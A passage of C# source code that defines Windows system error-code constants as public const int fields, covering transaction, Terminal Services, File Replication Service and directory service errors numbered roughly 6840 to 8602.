public const int ERROR_TRANSACTION_FREEZE_IN_PROGRESS = 6840; - public const int ERROR_NOT_SNAPSHOT_VOLUME = 6841; - public const int ERROR_NO_SAVEPOINT_WITH_OPEN_FILES = 6842; - public const int ERROR_DATA_LOST_REPAIR = 6843; - public const int ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION = 6844; - public const int ERROR_TM_IDENTITY_MISMATCH = 6845; - public const int ERROR_FLOATED_SECTION = 6846; - public const int ERROR_CANNOT_ACCEPT_TRANSACTED_WORK = 6847; - public const int ERROR_CANNOT_ABORT_TRANSACTIONS = 6848; - public const int ERROR_BAD_CLUSTERS = 6849; - public const int ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION = 6850; - public const int ERROR_VOLUME_DIRTY = 6851; - public const int ERROR_NO_LINK_TRACKING_IN_TRANSACTION = 6852; - public const int ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION = 6853; - public const int ERROR_EXPIRED_HANDLE = 6854; - public const int ERROR_TRANSACTION_NOT_ENLISTED = 6855; - public const int ERROR_CTX_WINSTATION_NAME_INVALID = 7001; - public const int ERROR_CTX_INVALID_PD = 7002; - public const int ERROR_CTX_PD_NOT_FOUND = 7003; - public const int ERROR_CTX_WD_NOT_FOUND = 7004; - public const int ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY = 7005; - public const int ERROR_CTX_SERVICE_NAME_COLLISION = 7006; - public const int ERROR_CTX_CLOSE_PENDING = 7007; - public const int ERROR_CTX_NO_OUTBUF = 7008; - public const int ERROR_CTX_MODEM_INF_NOT_FOUND = 7009; - public const int ERROR_CTX_INVALID_MODEMNAME = 7010; - public const int ERROR_CTX_MODEM_RESPONSE_ERROR = 7011; - public const int ERROR_CTX_MODEM_RESPONSE_TIMEOUT = 7012; - public const int ERROR_CTX_MODEM_RESPONSE_NO_CARRIER = 7013; - public const int ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE = 7014; - public const int ERROR_CTX_MODEM_RESPONSE_BUSY = 7015; - public const int ERROR_CTX_MODEM_RESPONSE_VOICE = 7016; - public const int ERROR_CTX_TD_ERROR = 7017; - public const int ERROR_CTX_WINSTATION_NOT_FOUND = 7022; - public const int ERROR_CTX_WINSTATION_ALREADY_EXISTS = 7023; - public const int ERROR_CTX_WINSTATION_BUSY = 7024; - public const int ERROR_CTX_BAD_VIDEO_MODE = 7025; - public const int ERROR_CTX_GRAPHICS_INVALID = 7035; - public const int ERROR_CTX_LOGON_DISABLED = 7037; - public const int ERROR_CTX_NOT_CONSOLE = 7038; - public const int ERROR_CTX_CLIENT_QUERY_TIMEOUT = 7040; - public const int ERROR_CTX_CONSOLE_DISCONNECT = 7041; - public const int ERROR_CTX_CONSOLE_CONNECT = 7042; - public const int ERROR_CTX_SHADOW_DENIED = 7044; - public const int ERROR_CTX_WINSTATION_ACCESS_DENIED = 7045; - public const int ERROR_CTX_INVALID_WD = 7049; - public const int ERROR_CTX_SHADOW_INVALID = 7050; - public const int ERROR_CTX_SHADOW_DISABLED = 7051; - public const int ERROR_CTX_CLIENT_LICENSE_IN_USE = 7052; - public const int ERROR_CTX_CLIENT_LICENSE_NOT_SET = 7053; - public const int ERROR_CTX_LICENSE_NOT_AVAILABLE = 7054; - public const int ERROR_CTX_LICENSE_CLIENT_INVALID = 7055; - public const int ERROR_CTX_LICENSE_EXPIRED = 7056; - public const int ERROR_CTX_SHADOW_NOT_RUNNING = 7057; - public const int ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE = 7058; - public const int ERROR_ACTIVATION_COUNT_EXCEEDED = 7059; - public const int ERROR_CTX_WINSTATIONS_DISABLED = 7060; - public const int ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED = 7061; - public const int ERROR_CTX_SESSION_IN_USE = 7062; - public const int ERROR_CTX_NO_FORCE_LOGOFF = 7063; - public const int ERROR_CTX_ACCOUNT_RESTRICTION = 7064; - public const int ERROR_RDP_PROTOCOL_ERROR = 7065; - public const int ERROR_CTX_CDM_CONNECT = 7066; - public const int ERROR_CTX_CDM_DISCONNECT = 7067; - public const int ERROR_CTX_SECURITY_LAYER_ERROR = 7068; - public const int ERROR_TS_INCOMPATIBLE_SESSIONS = 7069; - public const int ERROR_TS_VIDEO_SUBSYSTEM_ERROR = 7070; - public const int FRS_ERR_INVALID_API_SEQUENCE = 8001; - public const int FRS_ERR_STARTING_SERVICE = 8002; - public const int FRS_ERR_STOPPING_SERVICE = 8003; - public const int FRS_ERR_INTERNAL_API = 8004; - public const int FRS_ERR_INTERNAL = 8005; - public const int FRS_ERR_SERVICE_COMM = 8006; - public const int FRS_ERR_INSUFFICIENT_PRIV = 8007; - public const int FRS_ERR_AUTHENTICATION = 8008; - public const int FRS_ERR_PARENT_INSUFFICIENT_PRIV = 8009; - public const int FRS_ERR_PARENT_AUTHENTICATION = 8010; - public const int FRS_ERR_CHILD_TO_PARENT_COMM = 8011; - public const int FRS_ERR_PARENT_TO_CHILD_COMM = 8012; - public const int FRS_ERR_SYSVOL_POPULATE = 8013; - public const int FRS_ERR_SYSVOL_POPULATE_TIMEOUT = 8014; - public const int FRS_ERR_SYSVOL_IS_BUSY = 8015; - public const int FRS_ERR_SYSVOL_DEMOTE = 8016; - public const int FRS_ERR_INVALID_SERVICE_PARAMETER = 8017; - public const int ERROR_DS_NOT_INSTALLED = 8200; - public const int ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY = 8201; - public const int ERROR_DS_NO_ATTRIBUTE_OR_VALUE = 8202; - public const int ERROR_DS_INVALID_ATTRIBUTE_SYNTAX = 8203; - public const int ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED = 8204; - public const int ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS = 8205; - public const int ERROR_DS_BUSY = 8206; - public const int ERROR_DS_UNAVAILABLE = 8207; - public const int ERROR_DS_NO_RIDS_ALLOCATED = 8208; - public const int ERROR_DS_NO_MORE_RIDS = 8209; - public const int ERROR_DS_INCORRECT_ROLE_OWNER = 8210; - public const int ERROR_DS_RIDMGR_INIT_ERROR = 8211; - public const int ERROR_DS_OBJ_CLASS_VIOLATION = 8212; - public const int ERROR_DS_CANT_ON_NON_LEAF = 8213; - public const int ERROR_DS_CANT_ON_RDN = 8214; - public const int ERROR_DS_CANT_MOD_OBJ_CLASS = 8215; - public const int ERROR_DS_CROSS_DOM_MOVE_ERROR = 8216; - public const int ERROR_DS_GC_NOT_AVAILABLE = 8217; - public const int ERROR_SHARED_POLICY = 8218; - public const int ERROR_POLICY_OBJECT_NOT_FOUND = 8219; - public const int ERROR_POLICY_ONLY_IN_DS = 8220; - public const int ERROR_PROMOTION_ACTIVE = 8221; - public const int ERROR_NO_PROMOTION_ACTIVE = 8222; - public const int ERROR_DS_OPERATIONS_ERROR = 8224; - public const int ERROR_DS_PROTOCOL_ERROR = 8225; - public const int ERROR_DS_TIMELIMIT_EXCEEDED = 8226; - public const int ERROR_DS_SIZELIMIT_EXCEEDED = 8227; - public const int ERROR_DS_ADMIN_LIMIT_EXCEEDED = 8228; - public const int ERROR_DS_COMPARE_FALSE = 8229; - public const int ERROR_DS_COMPARE_TRUE = 8230; - public const int ERROR_DS_AUTH_METHOD_NOT_SUPPORTED = 8231; - public const int ERROR_DS_STRONG_AUTH_REQUIRED = 8232; - public const int ERROR_DS_INAPPROPRIATE_AUTH = 8233; - public const int ERROR_DS_AUTH_UNKNOWN = 8234; - public const int ERROR_DS_REFERRAL = 8235; - public const int ERROR_DS_UNAVAILABLE_CRIT_EXTENSION = 8236; - public const int ERROR_DS_CONFIDENTIALITY_REQUIRED = 8237; - public const int ERROR_DS_INAPPROPRIATE_MATCHING = 8238; - public const int ERROR_DS_CONSTRAINT_VIOLATION = 8239; - public const int ERROR_DS_NO_SUCH_OBJECT = 8240; - public const int ERROR_DS_ALIAS_PROBLEM = 8241; - public const int ERROR_DS_INVALID_DN_SYNTAX = 8242; - public const int ERROR_DS_IS_LEAF = 8243; - public const int ERROR_DS_ALIAS_DEREF_PROBLEM = 8244; - public const int ERROR_DS_UNWILLING_TO_PERFORM = 8245; - public const int ERROR_DS_LOOP_DETECT = 8246; - public const int ERROR_DS_NAMING_VIOLATION = 8247; - public const int ERROR_DS_OBJECT_RESULTS_TOO_LARGE = 8248; - public const int ERROR_DS_AFFECTS_MULTIPLE_DSAS = 8249; - public const int ERROR_DS_SERVER_DOWN = 8250; - public const int ERROR_DS_LOCAL_ERROR = 8251; - public const int ERROR_DS_ENCODING_ERROR = 8252; - public const int ERROR_DS_DECODING_ERROR = 8253; - public const int ERROR_DS_FILTER_UNKNOWN = 8254; - public const int ERROR_DS_PARAM_ERROR = 8255; - public const int ERROR_DS_NOT_SUPPORTED = 8256; - public const int ERROR_DS_NO_RESULTS_RETURNED = 8257; - public const int ERROR_DS_CONTROL_NOT_FOUND = 8258; - public const int ERROR_DS_CLIENT_LOOP = 8259; - public const int ERROR_DS_REFERRAL_LIMIT_EXCEEDED = 8260; - public const int ERROR_DS_SORT_CONTROL_MISSING = 8261; - public const int ERROR_DS_OFFSET_RANGE_ERROR = 8262; - public const int ERROR_DS_RIDMGR_DISABLED = 8263; - public const int ERROR_DS_ROOT_MUST_BE_NC = 8301; - public const int ERROR_DS_ADD_REPLICA_INHIBITED = 8302; - public const int ERROR_DS_ATT_NOT_DEF_IN_SCHEMA = 8303; - public const int ERROR_DS_MAX_OBJ_SIZE_EXCEEDED = 8304; - public const int ERROR_DS_OBJ_STRING_NAME_EXISTS = 8305; - public const int ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA = 8306; - public const int ERROR_DS_RDN_DOESNT_MATCH_SCHEMA = 8307; - public const int ERROR_DS_NO_REQUESTED_ATTS_FOUND = 8308; - public const int ERROR_DS_USER_BUFFER_TO_SMALL = 8309; - public const int ERROR_DS_ATT_IS_NOT_ON_OBJ = 8310; - public const int ERROR_DS_ILLEGAL_MOD_OPERATION = 8311; - public const int ERROR_DS_OBJ_TOO_LARGE = 8312; - public const int ERROR_DS_BAD_INSTANCE_TYPE = 8313; - public const int ERROR_DS_MASTERDSA_REQUIRED = 8314; - public const int ERROR_DS_OBJECT_CLASS_REQUIRED = 8315; - public const int ERROR_DS_MISSING_REQUIRED_ATT = 8316; - public const int ERROR_DS_ATT_NOT_DEF_FOR_CLASS = 8317; - public const int ERROR_DS_ATT_ALREADY_EXISTS = 8318; - public const int ERROR_DS_CANT_ADD_ATT_VALUES = 8320; - public const int ERROR_DS_SINGLE_VALUE_CONSTRAINT = 8321; - public const int ERROR_DS_RANGE_CONSTRAINT = 8322; - public const int ERROR_DS_ATT_VAL_ALREADY_EXISTS = 8323; - public const int ERROR_DS_CANT_REM_MISSING_ATT = 8324; - public const int ERROR_DS_CANT_REM_MISSING_ATT_VAL = 8325; - public const int ERROR_DS_ROOT_CANT_BE_SUBREF = 8326; - public const int ERROR_DS_NO_CHAINING = 8327; - public const int ERROR_DS_NO_CHAINED_EVAL = 8328; - public const int ERROR_DS_NO_PARENT_OBJECT = 8329; - public const int ERROR_DS_PARENT_IS_AN_ALIAS = 8330; - public const int ERROR_DS_CANT_MIX_MASTER_AND_REPS = 8331; - public const int ERROR_DS_CHILDREN_EXIST = 8332; - public const int ERROR_DS_OBJ_NOT_FOUND = 8333; - public const int ERROR_DS_ALIASED_OBJ_MISSING = 8334; - public const int ERROR_DS_BAD_NAME_SYNTAX = 8335; - public const int ERROR_DS_ALIAS_POINTS_TO_ALIAS = 8336; - public const int ERROR_DS_CANT_DEREF_ALIAS = 8337; - public const int ERROR_DS_OUT_OF_SCOPE = 8338; - public const int ERROR_DS_OBJECT_BEING_REMOVED = 8339; - public const int ERROR_DS_CANT_DELETE_DSA_OBJ = 8340; - public const int ERROR_DS_GENERIC_ERROR = 8341; - public const int ERROR_DS_DSA_MUST_BE_INT_MASTER = 8342; - public const int ERROR_DS_CLASS_NOT_DSA = 8343; - public const int ERROR_DS_INSUFF_ACCESS_RIGHTS = 8344; - public const int ERROR_DS_ILLEGAL_SUPERIOR = 8345; - public const int ERROR_DS_ATTRIBUTE_OWNED_BY_SAM = 8346; - public const int ERROR_DS_NAME_TOO_MANY_PARTS = 8347; - public const int ERROR_DS_NAME_TOO_LONG = 8348; - public const int ERROR_DS_NAME_VALUE_TOO_LONG = 8349; - public const int ERROR_DS_NAME_UNPARSEABLE = 8350; - public const int ERROR_DS_NAME_TYPE_UNKNOWN = 8351; - public const int ERROR_DS_NOT_AN_OBJECT = 8352; - public const int ERROR_DS_SEC_DESC_TOO_SHORT = 8353; - public const int ERROR_DS_SEC_DESC_INVALID = 8354; - public const int ERROR_DS_NO_DELETED_NAME = 8355; - public const int ERROR_DS_SUBREF_MUST_HAVE_PARENT = 8356; - public const int ERROR_DS_NCNAME_MUST_BE_NC = 8357; - public const int ERROR_DS_CANT_ADD_SYSTEM_ONLY = 8358; - public const int ERROR_DS_CLASS_MUST_BE_CONCRETE = 8359; - public const int ERROR_DS_INVALID_DMD = 8360; - public const int ERROR_DS_OBJ_GUID_EXISTS = 8361; - public const int ERROR_DS_NOT_ON_BACKLINK = 8362; - public const int ERROR_DS_NO_CROSSREF_FOR_NC = 8363; - public const int ERROR_DS_SHUTTING_DOWN = 8364; - public const int ERROR_DS_UNKNOWN_OPERATION = 8365; - public const int ERROR_DS_INVALID_ROLE_OWNER = 8366; - public const int ERROR_DS_COULDNT_CONTACT_FSMO = 8367; - public const int ERROR_DS_CROSS_NC_DN_RENAME = 8368; - public const int ERROR_DS_CANT_MOD_SYSTEM_ONLY = 8369; - public const int ERROR_DS_REPLICATOR_ONLY = 8370; - public const int ERROR_DS_OBJ_CLASS_NOT_DEFINED = 8371; - public const int ERROR_DS_OBJ_CLASS_NOT_SUBCLASS = 8372; - public const int ERROR_DS_NAME_REFERENCE_INVALID = 8373; - public const int ERROR_DS_CROSS_REF_EXISTS = 8374; - public const int ERROR_DS_CANT_DEL_MASTER_CROSSREF = 8375; - public const int ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 8376; - public const int ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX = 8377; - public const int ERROR_DS_DUP_RDN = 8378; - public const int ERROR_DS_DUP_OID = 8379; - public const int ERROR_DS_DUP_MAPI_ID = 8380; - public const int ERROR_DS_DUP_SCHEMA_ID_GUID = 8381; - public const int ERROR_DS_DUP_LDAP_DISPLAY_NAME = 8382; - public const int ERROR_DS_SEMANTIC_ATT_TEST = 8383; - public const int ERROR_DS_SYNTAX_MISMATCH = 8384; - public const int ERROR_DS_EXISTS_IN_MUST_HAVE = 8385; - public const int ERROR_DS_EXISTS_IN_MAY_HAVE = 8386; - public const int ERROR_DS_NONEXISTENT_MAY_HAVE = 8387; - public const int ERROR_DS_NONEXISTENT_MUST_HAVE = 8388; - public const int ERROR_DS_AUX_CLS_TEST_FAIL = 8389; - public const int ERROR_DS_NONEXISTENT_POSS_SUP = 8390; - public const int ERROR_DS_SUB_CLS_TEST_FAIL = 8391; - public const int ERROR_DS_BAD_RDN_ATT_ID_SYNTAX = 8392; - public const int ERROR_DS_EXISTS_IN_AUX_CLS = 8393; - public const int ERROR_DS_EXISTS_IN_SUB_CLS = 8394; - public const int ERROR_DS_EXISTS_IN_POSS_SUP = 8395; - public const int ERROR_DS_RECALCSCHEMA_FAILED = 8396; - public const int ERROR_DS_TREE_DELETE_NOT_FINISHED = 8397; - public const int ERROR_DS_CANT_DELETE = 8398; - public const int ERROR_DS_ATT_SCHEMA_REQ_ID = 8399; - public const int ERROR_DS_BAD_ATT_SCHEMA_SYNTAX = 8400; - public const int ERROR_DS_CANT_CACHE_ATT = 8401; - public const int ERROR_DS_CANT_CACHE_CLASS = 8402; - public const int ERROR_DS_CANT_REMOVE_ATT_CACHE = 8403; - public const int ERROR_DS_CANT_REMOVE_CLASS_CACHE = 8404; - public const int ERROR_DS_CANT_RETRIEVE_DN = 8405; - public const int ERROR_DS_MISSING_SUPREF = 8406; - public const int ERROR_DS_CANT_RETRIEVE_INSTANCE = 8407; - public const int ERROR_DS_CODE_INCONSISTENCY = 8408; - public const int ERROR_DS_DATABASE_ERROR = 8409; - public const int ERROR_DS_GOVERNSID_MISSING = 8410; - public const int ERROR_DS_MISSING_EXPECTED_ATT = 8411; - public const int ERROR_DS_NCNAME_MISSING_CR_REF = 8412; - public const int ERROR_DS_SECURITY_CHECKING_ERROR = 8413; - public const int ERROR_DS_SCHEMA_NOT_LOADED = 8414; - public const int ERROR_DS_SCHEMA_ALLOC_FAILED = 8415; - public const int ERROR_DS_ATT_SCHEMA_REQ_SYNTAX = 8416; - public const int ERROR_DS_GCVERIFY_ERROR = 8417; - public const int ERROR_DS_DRA_SCHEMA_MISMATCH = 8418; - public const int ERROR_DS_CANT_FIND_DSA_OBJ = 8419; - public const int ERROR_DS_CANT_FIND_EXPECTED_NC = 8420; - public const int ERROR_DS_CANT_FIND_NC_IN_CACHE = 8421; - public const int ERROR_DS_CANT_RETRIEVE_CHILD = 8422; - public const int ERROR_DS_SECURITY_ILLEGAL_MODIFY = 8423; - public const int ERROR_DS_CANT_REPLACE_HIDDEN_REC = 8424; - public const int ERROR_DS_BAD_HIERARCHY_FILE = 8425; - public const int ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED = 8426; - public const int ERROR_DS_CONFIG_PARAM_MISSING = 8427; - public const int ERROR_DS_COUNTING_AB_INDICES_FAILED = 8428; - public const int ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED = 8429; - public const int ERROR_DS_INTERNAL_FAILURE = 8430; - public const int ERROR_DS_UNKNOWN_ERROR = 8431; - public const int ERROR_DS_ROOT_REQUIRES_CLASS_TOP = 8432; - public const int ERROR_DS_REFUSING_FSMO_ROLES = 8433; - public const int ERROR_DS_MISSING_FSMO_SETTINGS = 8434; - public const int ERROR_DS_UNABLE_TO_SURRENDER_ROLES = 8435; - public const int ERROR_DS_DRA_GENERIC = 8436; - public const int ERROR_DS_DRA_INVALID_PARAMETER = 8437; - public const int ERROR_DS_DRA_BUSY = 8438; - public const int ERROR_DS_DRA_BAD_DN = 8439; - public const int ERROR_DS_DRA_BAD_NC = 8440; - public const int ERROR_DS_DRA_DN_EXISTS = 8441; - public const int ERROR_DS_DRA_INTERNAL_ERROR = 8442; - public const int ERROR_DS_DRA_INCONSISTENT_DIT = 8443; - public const int ERROR_DS_DRA_CONNECTION_FAILED = 8444; - public const int ERROR_DS_DRA_BAD_INSTANCE_TYPE = 8445; - public const int ERROR_DS_DRA_OUT_OF_MEM = 8446; - public const int ERROR_DS_DRA_MAIL_PROBLEM = 8447; - public const int ERROR_DS_DRA_REF_ALREADY_EXISTS = 8448; - public const int ERROR_DS_DRA_REF_NOT_FOUND = 8449; - public const int ERROR_DS_DRA_OBJ_IS_REP_SOURCE = 8450; - public const int ERROR_DS_DRA_DB_ERROR = 8451; - public const int ERROR_DS_DRA_NO_REPLICA = 8452; - public const int ERROR_DS_DRA_ACCESS_DENIED = 8453; - public const int ERROR_DS_DRA_NOT_SUPPORTED = 8454; - public const int ERROR_DS_DRA_RPC_CANCELLED = 8455; - public const int ERROR_DS_DRA_SOURCE_DISABLED = 8456; - public const int ERROR_DS_DRA_SINK_DISABLED = 8457; - public const int ERROR_DS_DRA_NAME_COLLISION = 8458; - public const int ERROR_DS_DRA_SOURCE_REINSTALLED = 8459; - public const int ERROR_DS_DRA_MISSING_PARENT = 8460; - public const int ERROR_DS_DRA_PREEMPTED = 8461; - public const int ERROR_DS_DRA_ABANDON_SYNC = 8462; - public const int ERROR_DS_DRA_SHUTDOWN = 8463; - public const int ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET = 8464; - public const int ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 8465; - public const int ERROR_DS_DRA_EXTN_CONNECTION_FAILED = 8466; - public const int ERROR_DS_INSTALL_SCHEMA_MISMATCH = 8467; - public const int ERROR_DS_DUP_LINK_ID = 8468; - public const int ERROR_DS_NAME_ERROR_RESOLVING = 8469; - public const int ERROR_DS_NAME_ERROR_NOT_FOUND = 8470; - public const int ERROR_DS_NAME_ERROR_NOT_UNIQUE = 8471; - public const int ERROR_DS_NAME_ERROR_NO_MAPPING = 8472; - public const int ERROR_DS_NAME_ERROR_DOMAIN_ONLY = 8473; - public const int ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 8474; - public const int ERROR_DS_CONSTRUCTED_ATT_MOD = 8475; - public const int ERROR_DS_WRONG_OM_OBJ_CLASS = 8476; - public const int ERROR_DS_DRA_REPL_PENDING = 8477; - public const int ERROR_DS_DS_REQUIRED = 8478; - public const int ERROR_DS_INVALID_LDAP_DISPLAY_NAME = 8479; - public const int ERROR_DS_NON_BASE_SEARCH = 8480; - public const int ERROR_DS_CANT_RETRIEVE_ATTS = 8481; - public const int ERROR_DS_BACKLINK_WITHOUT_LINK = 8482; - public const int ERROR_DS_EPOCH_MISMATCH = 8483; - public const int ERROR_DS_SRC_NAME_MISMATCH = 8484; - public const int ERROR_DS_SRC_AND_DST_NC_IDENTICAL = 8485; - public const int ERROR_DS_DST_NC_MISMATCH = 8486; - public const int ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC = 8487; - public const int ERROR_DS_SRC_GUID_MISMATCH = 8488; - public const int ERROR_DS_CANT_MOVE_DELETED_OBJECT = 8489; - public const int ERROR_DS_PDC_OPERATION_IN_PROGRESS = 8490; - public const int ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD = 8491; - public const int ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION = 8492; - public const int ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 8493; - public const int ERROR_DS_NC_MUST_HAVE_NC_PARENT = 8494; - public const int ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE = 8495; - public const int ERROR_DS_DST_DOMAIN_NOT_NATIVE = 8496; - public const int ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER = 8497; - public const int ERROR_DS_CANT_MOVE_ACCOUNT_GROUP = 8498; - public const int ERROR_DS_CANT_MOVE_RESOURCE_GROUP = 8499; - public const int ERROR_DS_INVALID_SEARCH_FLAG = 8500; - public const int ERROR_DS_NO_TREE_DELETE_ABOVE_NC = 8501; - public const int ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE = 8502; - public const int ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 8503; - public const int ERROR_DS_SAM_INIT_FAILURE = 8504; - public const int ERROR_DS_SENSITIVE_GROUP_VIOLATION = 8505; - public const int ERROR_DS_CANT_MOD_PRIMARYGROUPID = 8506; - public const int ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD = 8507; - public const int ERROR_DS_NONSAFE_SCHEMA_CHANGE = 8508; - public const int ERROR_DS_SCHEMA_UPDATE_DISALLOWED = 8509; - public const int ERROR_DS_CANT_CREATE_UNDER_SCHEMA = 8510; - public const int ERROR_DS_INSTALL_NO_SRC_SCH_VERSION = 8511; - public const int ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 8512; - public const int ERROR_DS_INVALID_GROUP_TYPE = 8513; - public const int ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 8514; - public const int ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 8515; - public const int ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 8516; - public const int ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 8517; - public const int ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 8518; - public const int ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 8519; - public const int ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 8520; - public const int ERROR_DS_HAVE_PRIMARY_MEMBERS = 8521; - public const int ERROR_DS_STRING_SD_CONVERSION_FAILED = 8522; - public const int ERROR_DS_NAMING_MASTER_GC = 8523; - public const int ERROR_DS_DNS_LOOKUP_FAILURE = 8524; - public const int ERROR_DS_COULDNT_UPDATE_SPNS = 8525; - public const int ERROR_DS_CANT_RETRIEVE_SD = 8526; - public const int ERROR_DS_KEY_NOT_UNIQUE = 8527; - public const int ERROR_DS_WRONG_LINKED_ATT_SYNTAX = 8528; - public const int ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD = 8529; - public const int ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY = 8530; - public const int ERROR_DS_CANT_START = 8531; - public const int ERROR_DS_INIT_FAILURE = 8532; - public const int ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION = 8533; - public const int ERROR_DS_SOURCE_DOMAIN_IN_FOREST = 8534; - public const int ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST = 8535; - public const int ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED = 8536; - public const int ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN = 8537; - public const int ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER = 8538; - public const int ERROR_DS_SRC_SID_EXISTS_IN_FOREST = 8539; - public const int ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH = 8540; - public const int ERROR_SAM_INIT_FAILURE = 8541; - public const int ERROR_DS_DRA_SCHEMA_INFO_SHIP = 8542; - public const int ERROR_DS_DRA_SCHEMA_CONFLICT = 8543; - public const int ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT = 8544; - public const int ERROR_DS_DRA_OBJ_NC_MISMATCH = 8545; - public const int ERROR_DS_NC_STILL_HAS_DSAS = 8546; - public const int ERROR_DS_GC_REQUIRED = 8547; - public const int ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 8548; - public const int ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 8549; - public const int ERROR_DS_CANT_ADD_TO_GC = 8550; - public const int ERROR_DS_NO_CHECKPOINT_WITH_PDC = 8551; - public const int ERROR_DS_SOURCE_AUDITING_NOT_ENABLED = 8552; - public const int ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC = 8553; - public const int ERROR_DS_INVALID_NAME_FOR_SPN = 8554; - public const int ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS = 8555; - public const int ERROR_DS_UNICODEPWD_NOT_IN_QUOTES = 8556; - public const int ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 8557; - public const int ERROR_DS_MUST_BE_RUN_ON_DST_DC = 8558; - public const int ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER = 8559; - public const int ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ = 8560; - public const int ERROR_DS_INIT_FAILURE_CONSOLE = 8561; - public const int ERROR_DS_SAM_INIT_FAILURE_CONSOLE = 8562; - public const int ERROR_DS_FOREST_VERSION_TOO_HIGH = 8563; - public const int ERROR_DS_DOMAIN_VERSION_TOO_HIGH = 8564; - public const int ERROR_DS_FOREST_VERSION_TOO_LOW = 8565; - public const int ERROR_DS_DOMAIN_VERSION_TOO_LOW = 8566; - public const int ERROR_DS_INCOMPATIBLE_VERSION = 8567; - public const int ERROR_DS_LOW_DSA_VERSION = 8568; - public const int ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN = 8569; - public const int ERROR_DS_NOT_SUPPORTED_SORT_ORDER = 8570; - public const int ERROR_DS_NAME_NOT_UNIQUE = 8571; - public const int ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4 = 8572; - public const int ERROR_DS_OUT_OF_VERSION_STORE = 8573; - public const int ERROR_DS_INCOMPATIBLE_CONTROLS_USED = 8574; - public const int ERROR_DS_NO_REF_DOMAIN = 8575; - public const int ERROR_DS_RESERVED_LINK_ID = 8576; - public const int ERROR_DS_LINK_ID_NOT_AVAILABLE = 8577; - public const int ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER = 8578; - public const int ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE = 8579; - public const int ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC = 8580; - public const int ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG = 8581; - public const int ERROR_DS_MODIFYDN_WRONG_GRANDPARENT = 8582; - public const int ERROR_DS_NAME_ERROR_TRUST_REFERRAL = 8583; - public const int ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER = 8584; - public const int ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD = 8585; - public const int ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2 = 8586; - public const int ERROR_DS_THREAD_LIMIT_EXCEEDED = 8587; - public const int ERROR_DS_NOT_CLOSEST = 8588; - public const int ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF = 8589; - public const int ERROR_DS_SINGLE_USER_MODE_FAILED = 8590; - public const int ERROR_DS_NTDSCRIPT_SYNTAX_ERROR = 8591; - public const int ERROR_DS_NTDSCRIPT_PROCESS_ERROR = 8592; - public const int ERROR_DS_DIFFERENT_REPL_EPOCHS = 8593; - public const int ERROR_DS_DRS_EXTENSIONS_CHANGED = 8594; - public const int ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR = 8595; - public const int ERROR_DS_NO_MSDS_INTID = 8596; - public const int ERROR_DS_DUP_MSDS_INTID = 8597; - public const int ERROR_DS_EXISTS_IN_RDNATTID = 8598; - public const int ERROR_DS_AUTHORIZATION_FAILED = 8599; - public const int ERROR_DS_INVALID_SCRIPT = 8600; - public const int ERROR_DS_REMOTE_CROSSREF_OP_FAILED = 8601; - public const int ERROR_DS_CROSS_REF_BUSY = 8602; - public const int 